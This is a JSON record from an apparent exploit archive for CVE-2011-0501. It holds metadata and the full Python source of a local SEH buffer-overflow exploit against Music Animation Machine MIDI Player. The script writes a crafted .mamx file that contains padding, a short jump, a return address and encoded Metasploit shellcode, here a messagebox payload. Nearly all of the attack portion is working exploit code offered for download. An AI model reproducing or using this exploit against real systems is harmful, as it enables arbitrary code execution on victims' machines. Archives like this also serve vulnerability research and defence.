{"exploit":{"id":"EDB-15901","name":"Music Animation Machine MIDI Player - Local Buffer Overflow (SEH)","description":"Music Animation Machine MIDI Player - Local Buffer Overflow (SEH)","cves":["CVE-2011-0501"],"author":"Acidgen","published":"2011-01-04","platform":"windows","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/15901","path":"exploits/windows/local/15901.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-15901.py","vulnerabilities":[{"id":"CVE-2011-0501","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in Music Animation Machine MIDI Player 2006aug19 Release 035 and possibly other versions allows user-assisted remote attackers to execute arbitrary code via a long line in a .mamx file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-0501","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-0501"},"updatedAt":"2024-09-16T22:20:01.650Z","retrievedAt":"2026-11-27T04:07:50.782Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-15901.png?v=2","url":"https://exploitbin.com/exploits/EDB-15901","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-15901/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-15901/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# Exploit Title: Music Animation Machine MIDI Player MAMX SEH BOF\n# Date 1/4/2011\n# Author: Acidgen  mailto:spam(a t h)grayhat.se\n# Software Link: http://www.musanim.com/player/MAMPlayer2006aug19_035.zip\n# Version: 2006aug19 Release 035\n# Tested on: Windows XP SP2 SE (Virtualbox Version: 3.2.10  Build:r66523)\n# Credits go to c0d3R'Z, without his released MIDI POC/DoS\n# (http://www.exploit-db.com/exploits/15897/)\n# I wouldn't have found this app to play with in the first place.\n\n\n\n\n\njunk='\\x41' * 112\nseh='\\xeb\\x06\\x90\\x90'\npad='\\x90' * 10\njunk2='\\x42' * 9496\n\n# Sorry for this quick and dirty one;\n# CALL DWORD PTR SS: EBP+C @ VBOXMRXN.DLL\n# When in Doubt, find your own pop,pop,ret\n# VBOXMRXN.DLL Virtualbox Version: 3.2.10  Build:r66523\nnseh='\\xe5\\xbd\\x01\\x10'\n\n\n# msfpayload windows/messagebox\n# badchars \\x00\\xff\\x1a\\x0d\\x0a\\x09\\x0b\\x0c\\x20\n# [*] x86/shikata_ga_nai succeeded with size 364 (iteration=1)\n\npl=(\"\\xd9\\xce\\xd9\\x74\\x24\\xf4\\x5b\\x2b\\xc9\\xb8\\xf4\\x3a\\xec\\x53\"\n\"\\xb1\\x55\\x31\\x43\\x18\\x83\\xc3\\x04\\x03\\x43\\xe0\\xd8\\x19\\x8a\"\n\"\\xe3\\x86\\x3b\\x59\\xd7\\x4c\\x8a\\x70\\xa5\\xda\\xdc\\xbd\\xad\\xaf\"\n\"\\x6e\\x0e\\xa6\\xc6\\x9c\\xe5\\xce\\x3a\\x16\\xbf\\x26\\xc8\\x56\\x60\"\n\"\\xbd\\xf8\\x9e\\x2f\\xd9\\x71\\x2c\\xf6\\xd8\\xa8\\x2d\\xe8\\xba\\xc1\"\n\"\\xbe\\xcf\\x1e\\x5d\\x7b\\x2c\\xd5\\x35\\xac\\x34\\xe8\\x5f\\x27\\x8e\"\n\"\\xf2\\x14\\x62\\x2f\\x03\\xc0\\x70\\x1b\\x4a\\x9d\\x43\\xef\\x4d\\x4f\"\n\"\\x9a\\x10\\x7c\\x4f\\x21\\x42\\xfa\\x8f\\xae\\x9c\\xc3\\xdf\\x42\\xa2\"\n\"\\x04\\x34\\xa8\\x9f\\xf6\\xef\\x79\\x95\\xe7\\x7b\\x23\\x71\\xe6\\x90\"\n\"\\xb2\\xf2\\xe4\\x2d\\xb0\\x5f\\xe8\\xb0\\x2d\\xd4\\x14\\x38\\xb0\\x03\"\n\"\\x9d\\x7a\\x97\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\\x08\\x26\\x33\"\n\"\\xc1\\x8a\\x1b\\xe2\\x44\\xf4\\x4b\\x35\\xa9\\x5a\\x94\\x63\\x21\\x51\")\n\nbuff=junk+seh+nseh+pad+pl+pad+junk2\n\n\ntry:\n\tfilename = \"crash.mamx\"\n\tprint \"[-]Music Animation Machine MIDI Player mamx SEH BOF...\"\n\tprint \"[-]Version:035 Release name: MAMPlayer2006-aug-19_035\"\n\tprint \"[-]Author: Acidgen\\n\"\n\tprint \"[*]Generating crashfile:\" + filename\n\tfile = open(filename,\"w\")\n\tfile.writelines(buff)\n\tfile.close()\n\tprint \"[*]Done\\n\"\n\nexcept:\n\tprint \"[X]Error...\"","sha256":"5c4287b97436e760df03221bbb4b738c379cd5381811f8dcba9f047936be35be","bytes":2854,"fetchedAt":"2026-11-27T04:07:50.544Z","encoding":"utf-8 (display only; download retains original bytes)"}